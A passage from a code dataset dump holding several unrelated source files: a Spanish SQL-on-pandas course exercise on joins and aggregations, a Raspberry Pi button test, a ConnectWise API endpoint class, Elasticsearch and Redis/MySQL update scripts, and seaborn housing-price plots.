get_persona_ejemploCrossJoin()\nnacionalidades = get_nacionalidades()\n\ndef get_persona_ejemplosJoin():\n # Genera el dataframe \"persona\" que contiene las siguientes columnas \n # (en el orden mencionado):\n # 1. Nombre\n # 2. Nacionalidad\n \n # ... Creamos el dataframe vacío (sólo con los nombres de sus columnas)\n persona = pd.DataFrame(columns = ['Nombre', 'Nacionalidad'])\n # ... Agregamos cada una de las filas al dataFrame\n persona = pd.concat([persona,pd.DataFrame([\n {'Nombre' : 'Diego' , 'Nacionalidad' : 'BR' },\n {'Nombre' : 'Laura' , 'Nacionalidad' : None },\n {'Nombre' : 'Marina' , 'Nacionalidad' : 'AR' },\n {'Nombre' : 'Santiago', 'Nacionalidad' : 'UY' }\n ])\n ])\n return persona\npersona1 = get_persona_ejemplosJoin()\n\ndef get_se_inscribe_en_ejemploMismosNombres():\n # Genera el dataframe \"se_inscribe_en\" que contiene las siguientes columnas \n # (en el orden mencionado):\n # 1. LU\n # 2. Codigo_materia\n \n # ... Creamos el dataframe vacío (sólo con los nombres de sus columnas)\n se_inscribe_en = pd.DataFrame(columns = ['LU','Codigo_materia'])\n # ... Agregamos cada una de las filas al dataFrame\n se_inscribe_en = pd.concat([se_inscribe_en,pd.DataFrame([\n {'LU':'123/09','Codigo_materia': 1},\n {'LU':' 22/10','Codigo_materia': 1},\n {'LU':' 22/10','Codigo_materia': 2},\n {'LU':'344/09','Codigo_materia': 1}\n ])\n ])\n return se_inscribe_en\n\ndef get_materia_ejemploMismosNombres():\n # Genera el dataframe \"materia\" que contiene las siguientes columnas \n # (en el orden mencionado):\n # 1. Codigo_materia\n # 2. Nombre\n \n # ... Creamos el dataframe vacío (sólo con los nombres de sus columnas)\n materia = pd.DataFrame(columns = ['Codigo_materia','Nombre'])\n # ... Agregamos cada una de las filas al dataFrame\n materia = pd.concat([materia,pd.DataFrame([\n {'Codigo_materia': 1, 'Nombre':'Laboratorio de Datos' },\n {'Codigo_materia': 2, 'Nombre':'Análisis II' },\n {'Codigo_materia': 3, 'Nombre':'Probabilidad' }\n ])\n ])\n return materia\nse_inscribe_en= get_se_inscribe_en_ejemploMismosNombres()\nmateria =get_materia_ejemploMismosNombres()\n#%%\n# =============================================================================\n# DEFINICION DE FUNCIÓN DE IMPRESIÓN EN PANTALLA\n# =============================================================================\n# Imprime en pantalla en un formato ordenado:\n # 1. Consigna\n # 2. Cada dataframe de la lista de dataframes de entrada\n # 3. Query\n # 4. Dataframe de salida\ndef imprimirEjercicio(consigna, listaDeDataframesDeEntrada, consultaSQL):\n \n print(\"# -----------------------------------------------------------------------------\")\n print(\"# Consigna: \", consigna)\n print(\"# -----------------------------------------------------------------------------\")\n print()\n for i in range(len(listaDeDataframesDeEntrada)):\n print(\"# Entrada 0\",i,sep='')\n print(\"# -----------\")\n print(listaDeDataframesDeEntrada[i])\n print()\n print(\"# SQL:\")\n print(\"# ----\")\n print(consultaSQL)\n print()\n print(\"# Salida:\")\n print(\"# -------\")\n print(sql^ consultaSQL)\n print()\n print(\"# -----------------------------------------------------------------------------\")\n print(\"# -----------------------------------------------------------------------------\")\n print()\n print()\n\n# =============================================================================\n# EJERCICIOS\n# =============================================================================\n#%% EJERCICIO 1\n \n# Ejericicio 1.1\n\nconsigna = \"Ejercicio 1.1\" \n\nconsultaSQL = \"\"\"\n SELECT DISTINCT Codigo, Nombre\n FROM aeropuerto\n WHERE Ciudad='Londres'\n \"\"\"\n\nimprimirEjercicio(consigna, [aeropuerto], consultaSQL)\n\n# Ejericicio 1.2\n\nconsigna = \"Ejercicio 1.2\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT Ciudad AS City\n FROM aeropuerto\n WHERE Codigo='ORY' OR Codigo='CDG'\n \"\"\"\n\nimprimirEjercicio(consigna, [aeropuerto], consultaSQL)\n\n# Ejericicio 1.3\n\nconsigna = \"Ejercicio 1.3\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT Numero\n FROM vuelo\n WHERE Origen='CDG' AND Destino='LHR'\n \"\"\"\n\nimprimirEjercicio(consigna, [vuelo], consultaSQL)\n\n# Ejericicio 1.4\n\nconsigna = \"Ejercicio 1.4\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT Numero\n FROM vuelo\n WHERE (Origen='CDG' AND Destino='LHR') OR (Destino='CDG' AND Origen='LHR')\n \"\"\"\n\nimprimirEjercicio(consigna, [vuelo], consultaSQL)\n\n# Ejericicio 1.5\n\nconsigna = \"Ejercicio 1.5\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT Fecha\n FROM reserva\n WHERE Precio>200\n \"\"\"\n\nimprimirEjercicio(consigna, [reserva], consultaSQL)\n\n#%% OPERACIONES ENTRE DATABASES\nconsigna = \"Union\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT *\n FROM alumnosBD\n UNION\n SELECT DISTINCT *\n FROM alumnosTLeng\n \"\"\"\n\nimprimirEjercicio(consigna, [alumnosBD,alumnosTLeng], consultaSQL)\n\nconsigna = \"Union All\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT *\n FROM alumnosBD\n UNION ALL\n SELECT DISTINCT *\n FROM alumnosTLeng\n \"\"\"\n\nimprimirEjercicio(consigna, [alumnosBD,alumnosTLeng], consultaSQL)\n\nconsigna = \"Intersect\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT *\n FROM alumnosBD\n INTERSECT\n SELECT DISTINCT *\n FROM alumnosTLeng\n \"\"\"\n\nimprimirEjercicio(consigna, [alumnosBD,alumnosTLeng], consultaSQL)\n\nconsigna = \"Except\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT *\n FROM alumnosBD\n EXCEPT\n SELECT DISTINCT *\n FROM alumnosTLeng\n \"\"\"\n\nimprimirEjercicio(consigna, [alumnosBD,alumnosTLeng], consultaSQL)\n\nconsigna = \"Producto cartesiano\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT *\n FROM persona\n CROSS JOIN\n nacionalidades\n \"\"\"\n\nimprimirEjercicio(consigna, [persona,nacionalidades], consultaSQL)\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT *\n FROM persona, nacionalidades\n \"\"\"\n\nimprimirEjercicio(consigna, [persona,nacionalidades], consultaSQL)\n\nconsigna = \"Inner Join\"\n\n#opcion mas eficiente\nconsultaSQL = \"\"\"\n SELECT DISTINCT *\n FROM persona\n INNER JOIN nacionalidades\n ON nacionalidad=IDN\n \"\"\"\n\nimprimirEjercicio(consigna, [persona,nacionalidades], consultaSQL)\n\n#opcion menos eficiente\nconsultaSQL = \"\"\"\n SELECT DISTINCT *\n FROM persona, nacionalidades\n WHERE nacionalidad=IDN\n \"\"\"\n\nimprimirEjercicio(consigna, [persona,nacionalidades], consultaSQL)\n\nconsigna = \"LEFT OUTER JOIN\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT *\n FROM persona1\n LEFT OUTER JOIN nacionalidades\n ON nacionalidad = IDN\n \"\"\"\n\nimprimirEjercicio(consigna, [persona1,nacionalidades], consultaSQL)\n\nconsigna = \"INNER JOIN\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT LU,Nombre\n FROM se_inscribe_en\n INNER JOIN materia\n ON se_inscribe_en.Codigo_Materia=materia.Codigo_Materia\n \"\"\"\n\nimprimirEjercicio(consigna, [se_inscribe_en,materia], consultaSQL)\n#%% EJERCICIO 2\n\n# Ejercicio 2.1\nconsigna = \"Ejercicio 2.1\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT Numero\n FROM vuelo\n INTERSECT\n SELECT DISTINCT NroVuelo\n FROM reserva\n \"\"\"\n\nimprimirEjercicio(consigna, [vuelo,reserva], consultaSQL)\n\n# Ejercicio 2.2\nconsigna = \"Ejercicio 2.2\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT Numero\n FROM vuelo\n EXCEPT\n SELECT DISTINCT NroVuelo\n FROM reserva\n \"\"\"\n\nimprimirEjercicio(consigna, [vuelo,reserva], consultaSQL)\n\n# Ejercicio 2.3\nconsigna = \"Ejercicio 2.3\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT Origen\n FROM vuelo\n UNION\n SELECT DISTINCT Destino\n FROM vuelo\n \"\"\"\n\nimprimirEjercicio(consigna, [vuelo], consultaSQL)\n\n#%% EJERCICIO 3\n\n# Ejercicio 3.1\nconsigna = \"Ejercicio 3.1\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT Ciudad\n FROM vuelo\n INNER JOIN aeropuerto\n ON Origen=Codigo\n WHERE Numero=165\n \"\"\"\n\nimprimirEjercicio(consigna, [vuelo,aeropuerto], consultaSQL)\n\n# Ejercicio 3.2\nconsigna = \"Ejercicio 3.2\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT Nombre\n FROM pasajero\n INNER JOIN reserva\n ON pasajero.DNI=reserva.DNI\n WHERE Precio<200\n \"\"\"\n\nimprimirEjercicio(consigna, [pasajero,reserva], consultaSQL)\n\n# Ejercicio 3.3\nconsigna = \"Ejercicio 3.3\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT pasajero.Nombre,Fecha,Destino\n FROM pasajero\n INNER JOIN reserva\n ON pasajero.DNI=reserva.DNI\n INNER JOIN vuelo\n ON Numero=NroVuelo\n INNER JOIN aeropuerto\n ON Origen=Codigo\n WHERE aeropuerto.Ciudad='Madrid'\n \"\"\"\n\nimprimirEjercicio(consigna, [pasajero,reserva,vuelo, aeropuerto], consultaSQL)\n\n# Ejercicio 3.4\n#forma poco optimizable\nconsigna = \"Ejercicio 3.4\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT r.fecha,v.Salida,p.Nombre\n FROM reserva AS r,pasajero AS p, vuelo AS v\n WHERE r.DNI=p.DNI AND r.NroVuelo=v.Numero\n \"\"\"\n\nimprimirEjercicio(consigna, [pasajero,reserva,vuelo, aeropuerto], consultaSQL)\n\n#%% TUPLAS ESPUREAS, errores muy comunes y dificiles de detectar\n# Joinear en atributos claves\n\nconsigna = \"\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT empleado, empleadoRol.rol, proyecto\n FROM empleadoRol\n INNER JOIN rolProyecto\n ON empleadoRol.rol=rolProyecto.rol\n \"\"\"\n\nimprimirEjercicio(consigna, [empleadoRol,rolProyecto], consultaSQL)\n\n#%% Funciones de agregacion\n\nconsigna = \"contar los elementos de una columna\"\n\nconsultaSQL = \"\"\"\n SELECT count(*) AS cantidadExamenes\n FROM examen\n \"\"\"\n\nimprimirEjercicio(consigna, [examen], consultaSQL)\n\nconsigna = \"contar cuantos elementos hay para cada elemento distinto de instancia\"\n\nconsultaSQL = \"\"\"\n SELECT Instancia, COUNT(*) AS Asistieron\n FROM examen\n GROUP BY Instancia\n HAVING Asistieron<4\n ORDER BY Instancia ASC;\n \"\"\"\n\nimprimirEjercicio(consigna, [examen], consultaSQL)\n#order de los ordena, having te permite poner condicinoes\n\nconsigna = \"promedio de edad en cada instancia de examen\"\n\nconsultaSQL = \"\"\"\n SELECT Instancia, AVG(Edad) AS PromedioEdad\n FROM examen\n GROUP BY Instancia\n ORDER BY Instancia\n \"\"\"\n\nimprimirEjercicio(consigna, [examen], consultaSQL)\n\nconsigna = \"promedio de nota en cada parcial\"\n\nconsultaSQL = \"\"\"\n SELECT Instancia, AVG(Nota) AS PromedioNota\n FROM examen\n GROUP BY Instancia\n HAVING Instancia='Parcial-01' OR Instancia='Parcial-02'\n ORDER BY Instancia\n \"\"\"\n\nimprimirEjercicio(consigna, [examen], consultaSQL)\n\nconsultaSQL = \"\"\"\n SELECT Instancia, AVG(Nota) AS PromedioNota\n FROM examen\n GROUP BY Instancia\n HAVING Instancia LIKE 'Parcial%'\n ORDER BY Instancia\n \"\"\"\n#el LIKE sirve para que solo tenga en cuenta un patron dado, hay distintas formas de pasarle el patron\nimprimirEjercicio(consigna, [examen], consultaSQL)\n\nconsigna = \"agregar columna dependiendo el valor de otra columna\"\n\nconsultaSQL = \"\"\"\n SELECT Nombre, Nota,\n CASE WHEN Nota>=4 THEN 'APROBO' ELSE 'NO APROBO' END AS Estado\n FROM examen\n WHERE Instancia='Parcial-01'\n ORDER BY Nombre;\n \"\"\"\n\nimprimirEjercicio(consigna, [examen], consultaSQL)\n\nconsigna = \"\"\n\nconsultaSQL = \"\"\"\n SELECT Instancia,\n CASE WHEN Nota>=4 THEN 'APROBO' ELSE 'NO APROBO' END AS Estado,\n COUNT(*) AS Cantidad\n FROM examen\n GROUP BY Instancia,Estado\n \"\"\"\n\nimprimirEjercicio(consigna, [examen], consultaSQL)\n\nconsigna = \"\"\n\nconsultaSQL = \"\"\"\n SELECT e1.Nombre, e1.Instancia, e1.Nota\n FROM examen AS e1\n WHERE e1.Nota > (\n SELECT AVG(e2.Nota)\n FROM examen AS e2\n WHERE e2.Instancia = e1.Instancia\n )\n ORDER BY Instancia ASC, Nota DESC;\n \"\"\"\n\nimprimirEjercicio(consigna, [examen], consultaSQL)\n\nconsigna = \"\"\n\nconsultaSQL = \"\"\"\n SELECT e1.Nombre, e1.Instancia, e1.Nota\n FROM examen AS e1\n WHERE e1.Nota >= ALL (\n SELECT e2.Nota\n FROM examen AS e2\n WHERE e2.Instancia = e1.Instancia\n )\n ORDER BY e1.Instancia ASC, e1.Nombre ASC;\n \"\"\"\n\nimprimirEjercicio(consigna, [examen], consultaSQL)\n\nconsigna = \"\"\n\nconsultaSQL = \"\"\"\n SELECT e1.Nombre as nombre, e1.Instancia, e1.Nota\n FROM examen AS e1\n WHERE NOT EXISTS (\n SELECT *\n FROM examen AS e2\n WHERE e2.Nombre = e1.Nombre AND\n e2.Instancia LIKE 'Recuperatorio%'\n )\n ORDER BY e1.Nombre ASC, e1.Instancia ASC;\n \"\"\"\n\nimprimirEjercicio(consigna, [examen], consultaSQL)\n\n#%% Clase 17/4\n\n#Integracion variables de python \n\n\numbralnota=7\nconsigna = \"Ejemplo 1\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT Nombre, Instancia, Nota \n \n FROM examen\n WHERE Nota> $umbralnota\n \"\"\"\n\nimprimirEjercicio(consigna, [examen03], consultaSQL)\n\nconsigna = \"Ejemplo 2\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT *\n FROM examen03\n WHERE Nota< 9\n \"\"\"\n\nimprimirEjercicio(consigna, [examen03], consultaSQL)\n\nconsigna = \"Ejemplo 3\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT *\n FROM examen03\n WHERE Nota>= 9\n \"\"\"\n\nimprimirEjercicio(consigna, [examen03], consultaSQL)\n\nconsigna = \"Ejemplo 4\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT *\n FROM examen03\n WHERE Nota>= 9\n UNION\n SELECT DISTINCT *\n FROM examen03\n WHERE Nota< 9\n \"\"\"\n\nimprimirEjercicio(consigna, [examen03], consultaSQL)\n\nconsigna = \"Ejemplo 5\"\n\nconsultaSQL = \"\"\"\n SELECT AVG(Nota) AS NotaPromedio\n FROM examen03\n \"\"\"\n\nimprimirEjercicio(consigna, [examen03], consultaSQL)\n\nconsigna = \"Ejemplo 6\"\n\nconsultaSQL = \"\"\"\n SELECT AVG(CASE WHEN Nota IS NULL THEN 0 ELSE Nota END) AS NotaPromedio\n FROM examen03;\n \"\"\"\n\nimprimirEjercicio(consigna, [examen03], consultaSQL)\n\nconsigna = \"Ejemplo 7\"\n\nconsultaSQL = \"\"\"\n SELECT Nombre,Sexo,Edad,Instancia,\n CASE WHEN Nota is NULL\n THEN 0\n ELSE Nota\n END\n AS NotaSinNull\n FROM examen03;\n \"\"\"\n\nimprimirEjercicio(consigna, [examen03], consultaSQL)\n\nconsigna = \"Desafio 1\"\n\nconsultaSQL = \"\"\"\n SELECT DISTINCT Nombre,Edad,Sexo\n FROM examen;\n \"\"\"\ndatosEstudiantes=sql^ consultaSQL\n\nconsultaSQL= \"\"\"\n SELECT DISTINCT est.* ,exa.Nota AS Parcial01\n FROM datosEstudiantes AS est\n INNER JOIN examen AS exa\n ON est.Nombre=exa.Nombre AND exa.Instancia = 'Parcial-01'\n \"\"\"\ndatosEstudiantesParcial01 =sql^ consultaSQL\nprint(datosEstudiantesParcial01)\n\nconsultaSQL= \"\"\"\n SELECT DISTINCT est.* ,exa.Nota AS Parcial02\n FROM datosEstudiantesParcial01 AS est\n LEFT OUTER JOIN examen AS exa\n ON est.Nombre=exa.Nombre AND exa.Instancia = 'Parcial-02' \n \"\"\"\ndatosEstudiantesParcial02 =sql^ consultaSQL\nprint(datosEstudiantesParcial02)\n\nconsultaSQL= \"\"\"\n SELECT DISTINCT est.* ,exa.Nota AS Recu01\n FROM datosEstudiantesParcial02 AS est\n LEFT OUTER JOIN examen AS exa\n ON est.Nombre=exa.Nombre AND exa.Instancia = 'Recuperatorio-01' \n \"\"\"\ndatosEstudiantesRecu01 =sql^ consultaSQL\nprint(datosEstudiantesRecu01)\n\nconsultaSQL= \"\"\"\n SELECT DISTINCT est.* ,exa.Nota AS Recu02\n FROM datosEstudiantesRecu01 AS est\n LEFT OUTER JOIN examen AS exa\n ON est.Nombre=exa.Nombre AND exa.Instancia = 'Recuperatorio-02'\n ORDER BY est.Nombre ASC\n \"\"\"\ndesafio01 =sql^ consultaSQL\nprint(desafio01)\n\nconsigna = \"Desafio 2\"\n\nconsultaSQL = \"\"\"\n SELECT *, \n CASE WHEN ((Parcial01>=4 OR Recu01>=4) AND (Parcial02>=4 OR Recu02>=4))\n THEN 'APROBO'\n ELSE 'NO APROBO'\n END AS Estado\n FROM desafio01\n \"\"\"\ndesafio02 =sql^ consultaSQL\nprint(desafio02)\n","repo_name":"lzanela/Labo-de-datos","sub_path":"Clase 8/Clase 8 - Ejercicios resueltos.py","file_name":"Clase 8 - Ejercicios resueltos.py","file_ext":"py","file_size_in_byte":21903,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10546271995","text":"import RPi.GPIO as GPIO\nimport datetime\ndef button_callback(channel):\n print(\"Connected\" + datetime.datetime.now().strftime(\"%H%M%S\"))\n\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BOARD)\nGPIO.setup(13,GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n\nGPIO.add_event_detect(13,GPIO.RISING,callback=button_callback)\n\nmessage = input(\"Press something to quit\")\n\nGPIO.cleanup()\n","repo_name":"Effex-D/rotary-phone","sub_path":"buttontest.py","file_name":"buttontest.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"13669071633","text":"from typing import TYPE_CHECKING\n\nfrom pyconnectwise.endpoints.base.connectwise_endpoint import ConnectWiseEndpoint\nfrom pyconnectwise.endpoints.manage.FinanceAgreementtypesIdBoarddefaultsCountEndpoint import (\n FinanceAgreementtypesIdBoarddefaultsCountEndpoint,\n)\nfrom pyconnectwise.endpoints.manage.FinanceAgreementtypesIdBoarddefaultsIdEndpoint import (\n FinanceAgreementtypesIdBoarddefaultsIdEndpoint,\n)\nfrom pyconnectwise.interfaces import IGettable, IPaginateable, IPostable\nfrom pyconnectwise.models.manage import AgreementTypeBoardDefault\nfrom pyconnectwise.responses.paginated_response import PaginatedResponse\nfrom pyconnectwise.types import JSON, ConnectWiseManageRequestParams\n\nif TYPE_CHECKING:\n from pyconnectwise.clients.connectwise_client import ConnectWiseClient\n\n\nclass FinanceAgreementtypesIdBoarddefaultsEndpoint(\n ConnectWiseEndpoint,\n IGettable[list[AgreementTypeBoardDefault], ConnectWiseManageRequestParams],\n IPostable[AgreementTypeBoardDefault, ConnectWiseManageRequestParams],\n IPaginateable[AgreementTypeBoardDefault, ConnectWiseManageRequestParams],\n):\n def __init__(self, client: \"ConnectWiseClient\", parent_endpoint: ConnectWiseEndpoint = None) -> None:\n ConnectWiseEndpoint.__init__(self, client, \"boardDefaults\", parent_endpoint=parent_endpoint)\n IGettable.__init__(self, list[AgreementTypeBoardDefault])\n IPostable.__init__(self, AgreementTypeBoardDefault)\n IPaginateable.__init__(self, AgreementTypeBoardDefault)\n\n self.count = self._register_child_endpoint(\n FinanceAgreementtypesIdBoarddefaultsCountEndpoint(client, parent_endpoint=self)\n )\n\n def id(self, _id: int) -> FinanceAgreementtypesIdBoarddefaultsIdEndpoint:\n \"\"\"\n Sets the ID for this endpoint and returns an initialized FinanceAgreementtypesIdBoarddefaultsIdEndpoint object to move down the chain.\n\n Parameters:\n _id (int): The ID to set.\n Returns:\n FinanceAgreementtypesIdBoarddefaultsIdEndpoint: The initialized FinanceAgreementtypesIdBoarddefaultsIdEndpoint object.\n \"\"\"\n child = FinanceAgreementtypesIdBoarddefaultsIdEndpoint(self.client, parent_endpoint=self)\n child._id = _id\n return child\n\n def paginated(\n self, page: int, page_size: int, params: ConnectWiseManageRequestParams | None = None\n ) -> PaginatedResponse[AgreementTypeBoardDefault]:\n \"\"\"\n Performs a GET request against the /finance/agreementTypes/{id}/boardDefaults endpoint and returns an initialized PaginatedResponse object.\n\n Parameters:\n page (int): The page number to request.\n page_size (int): The number of results to return per page.\n params (dict[str, int | str]): The parameters to send in the request query string.\n Returns:\n PaginatedResponse[AgreementTypeBoardDefault]: The initialized PaginatedResponse object.\n \"\"\"\n if params:\n params[\"page\"] = page\n params[\"pageSize\"] = page_size\n else:\n params = {\"page\": page, \"pageSize\": page_size}\n return PaginatedResponse(\n super()._make_request(\"GET\", params=params), AgreementTypeBoardDefault, self, page, page_size, params\n )\n\n def get(\n self, data: JSON | None = None, params: ConnectWiseManageRequestParams | None = None\n ) -> list[AgreementTypeBoardDefault]:\n \"\"\"\n Performs a GET request against the /finance/agreementTypes/{id}/boardDefaults endpoint.\n\n Parameters:\n data (dict[str, Any]): The data to send in the request body.\n params (dict[str, int | str]): The parameters to send in the request query string.\n Returns:\n list[AgreementTypeBoardDefault]: The parsed response data.\n \"\"\"\n return self._parse_many(\n AgreementTypeBoardDefault, super()._make_request(\"GET\", data=data, params=params).json()\n )\n\n def post(\n self, data: JSON | None = None, params: ConnectWiseManageRequestParams | None = None\n ) -> AgreementTypeBoardDefault:\n \"\"\"\n Performs a POST request against the /finance/agreementTypes/{id}/boardDefaults endpoint.\n\n Parameters:\n data (dict[str, Any]): The data to send in the request body.\n params (dict[str, int | str]): The parameters to send in the request query string.\n Returns:\n AgreementTypeBoardDefault: The parsed response data.\n \"\"\"\n return self._parse_one(\n AgreementTypeBoardDefault, super()._make_request(\"POST\", data=data, params=params).json()\n )\n","repo_name":"HealthITAU/pyconnectwise","sub_path":"src/pyconnectwise/endpoints/manage/FinanceAgreementtypesIdBoarddefaultsEndpoint.py","file_name":"FinanceAgreementtypesIdBoarddefaultsEndpoint.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"29"} +{"seq_id":"33069268244","text":"#!/usr/bin/env python\n\nimport sys\nimport json\nimport csv\nimport os\nimport os.path\nimport types\nfrom elasticsearch import Elasticsearch\n\nes = Elasticsearch()\n\nimport logging\nlogging.basicConfig(level=logging.INFO)\n\nif __name__ == '__main__':\n\n\twhoami = os.path.abspath(sys.argv[0])\n\n\tbindir = os.path.dirname(whoami)\n\trootdir = os.path.dirname(bindir)\n\tcollectiondir = os.path.join(os.path.dirname(rootdir), 'collection')\n\n\tdatadir = os.path.join(collectiondir, 'objects')\n\n\t# delete the objects index\n\ttry:\n\t\tes.indices.delete(index='objects')\n\texcept:\n\t\tprint('first time running!')\n\t\n\t# recreate index\n\n\t# tell ES not to analyze accession numbers as they are to be taken literally\n\t# \n\tindexParams = {\n\t\t'mappings': {\n\t\t\t'object': {\n\t\t\t\t'properties': {\n\t\t\t\t\t'accession_number': {\n\t\t\t\t\t\t'type': 'string',\n\t\t\t\t\t\t'index': 'not_analyzed'\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tes.indices.create(index='objects', body=indexParams)\n\n\t# loop through CSVs and add to index\n\tfor root, dirs, files in os.walk(datadir):\n\n\t\tfor f in files:\n\n\t\t\tpath = os.path.join(root, f)\n\t\t\tlogging.info(\"processing %s\" % path)\n\t\n\t\t\tdata = json.load(open(path, 'r'))\n\n\t\t\tes.index(index='objects', doc_type='object', id=data.get('id'), body=data)\n\n\tlogging.info(\"done\");\n\t\t\t\n","repo_name":"cooperhewitt/collection-elasticsearch","sub_path":"bin/index-objects.py","file_name":"index-objects.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"29"} +{"seq_id":"34161537277","text":"import pygame # For graphic and GUI\r\nimport os # For reading levels\r\n\r\n# Initialization\r\npygame.font.init() # Работа с текстом\r\ninf_font = pygame.font.SysFont(\"Comic Sans MS\", 40)\r\n\r\n# COLORS\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\nRED = (255, 0, 0)\r\nGREEN = (0, 255, 0)\r\nYELLOW = (255, 255, 0)\r\nBLUE = (0, 0, 255)\r\nBACKGROUND = (15, 45, 45)\r\nPURPLE = (128, 0, 128)\r\nGREY = (120, 120, 120)\r\n\r\n# Screen\r\nWINDOW_SIZE = WIDTH, HEIGHT = 1200, 800 # 60x40\r\n\r\n","repo_name":"MrOmnomnoshka/FIfteen-Platform","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"34530651678","text":"#### db2 업데이트\nimport redis\nfrom redis import Redis, ConnectionPool\nimport numpy as np\nimport json\nimport mysql.connector\nfrom database import config\nimport time\nimport sys\nfrom datetime import datetime, timedelta\n\npool = ConnectionPool(host='localhost', port=6379, db=0)\npool2 = ConnectionPool(host='localhost', port=6379, db=2)\npool3 = ConnectionPool(host='localhost', port=6379, db=3)\n\nr = redis.Redis(connection_pool=pool)\nr2 = redis.Redis(connection_pool=pool2)\nr3 = redis.Redis(connection_pool=pool3)\n\ndef db2_updater():\n db = mysql.connector.connect(**config)\n cursor = db.cursor()\n\n vectors = []\n gid_list = []\n title_list = []\n url_list = []\n thumburl_list = []\n ## 동아\n cursor.execute(\n f\"\"\"\n select gid, title, url, thumburl from news_recommend.news_ago where source='동아일보' order by createtime desc limit 400;\n \"\"\"\n )\n\n for i, (gid, title, url, thumburl) in enumerate(cursor.fetchall()):\n vectors.append(np.frombuffer(r.get(gid), dtype='float32'))\n gid_list.append(gid)\n title_list.append(title)\n url_list.append(url)\n thumburl_list.append(thumburl)\n\n ## 다른 언론사\n cursor.execute(\n f\"\"\"\n select gid, title, url, thumburl from news_recommend.news_ago where source!='동아일보' and source != '경제뉴스' order by createtime desc limit 500;\n \"\"\"\n )\n\n for i, (gid, title, url, thumburl) in enumerate(cursor.fetchall()):\n vectors.append(np.frombuffer(r.get(gid), dtype='float32'))\n gid_list.append(gid)\n title_list.append(title)\n url_list.append(url)\n thumburl_list.append(thumburl)\n\n mat_b = np.array(vectors)\n r2.flushdb()\n r2.set('mat', mat_b.tobytes())\n r2.set('gid2', json.dumps(gid_list))\n r2.set('title', json.dumps(title_list))\n r2.set('url', json.dumps(url_list))\n r2.set('thumburl', json.dumps(thumburl_list))\n r2.set('temp', np.random.rand(50).astype('float32').tobytes()) # ***** 수정해야함\n\ndef db3_updater():\n ##### db3 update 도 같이 해줌. 60분이 지난 r3 키를 지워주는 역할.\n r3key = r3.keys('*')\n for time0 in r3key:\n if datetime.strptime(time0.decode('utf-8') + '0', \"%Y%m%d%H:%M\") < datetime.now() - timedelta(hours=1):\n r3.delete(time0)\n return len(r3key)\n\nif __name__ == '__main__':\n time.sleep(60)\n n=0\n while True:\n n+=1\n now0 = datetime.now()\n db2_updater()\n if n%3 ==0:\n r3key = db3_updater()\n n=0\n print(f\"업데이트 : {now0} / r3 key 수 : {r3key}\") # 6개 내외로 유지돼야 함.\n else:\n print(f\"업데이트 : {now0}\")\n sys.stdout.flush()\n time.sleep(60*4)\n","repo_name":"suhcrates-web/news_recommend_real","sub_path":"db2_realtime_update.py","file_name":"db2_realtime_update.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"705440172","text":"import seaborn as sb\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport pylab\r\nsb.set()\r\ndef graph1(data):\r\n #Цена - жилая площадь\r\n sb.jointplot(x='livesp', y='price', data=data, height = 10)\r\n plt.show()\r\n\r\n\r\ndef graph2(data):\r\n sb.boxplot(x=\"brick\", y=\"price\", palette=[\"m\", \"g\"], data=data)\r\n plt.title('Boxplot для 0 – кирпичный, монолит, 1 - другие')\r\n plt.show()\r\n\r\ndef graph3(data):\r\n sb.boxplot(x=\"floor\", y=\"price\", palette=[\"m\", \"g\"], data=data)\r\n plt.title('Boxplot для 0 – первый и последний этажи, 1 - другие')\r\n plt.show()\r\n\r\ndef graph4(data):\r\n #Цена - общая площадь\r\n sb.jointplot(x='totsp', y='price', data=data, height=10)\r\n plt.show()\r\n\r\ndef graph5(data):\r\n #Цена - растояние от центра\r\n sb.jointplot(x='dist', y='price', data=data, height=10)\r\n plt.show()\r\n\r\ndef graph6(data):\r\n #Цена - время на преодоление пути до метро на машине\r\n data = data[data['walk']==0]\r\n sb.jointplot(x='metrdist', y='price', data=data, height=10)\r\n plt.show()\r\n\r\ndef graph7(data):\r\n #Цена - время на преодоление пути до метро пешком\r\n data = data[data['walk']==1]\r\n sb.jointplot(x='metrdist', y='price', data=data, height=10)\r\n plt.show()\r\n\r\ndef graph8(data):\r\n 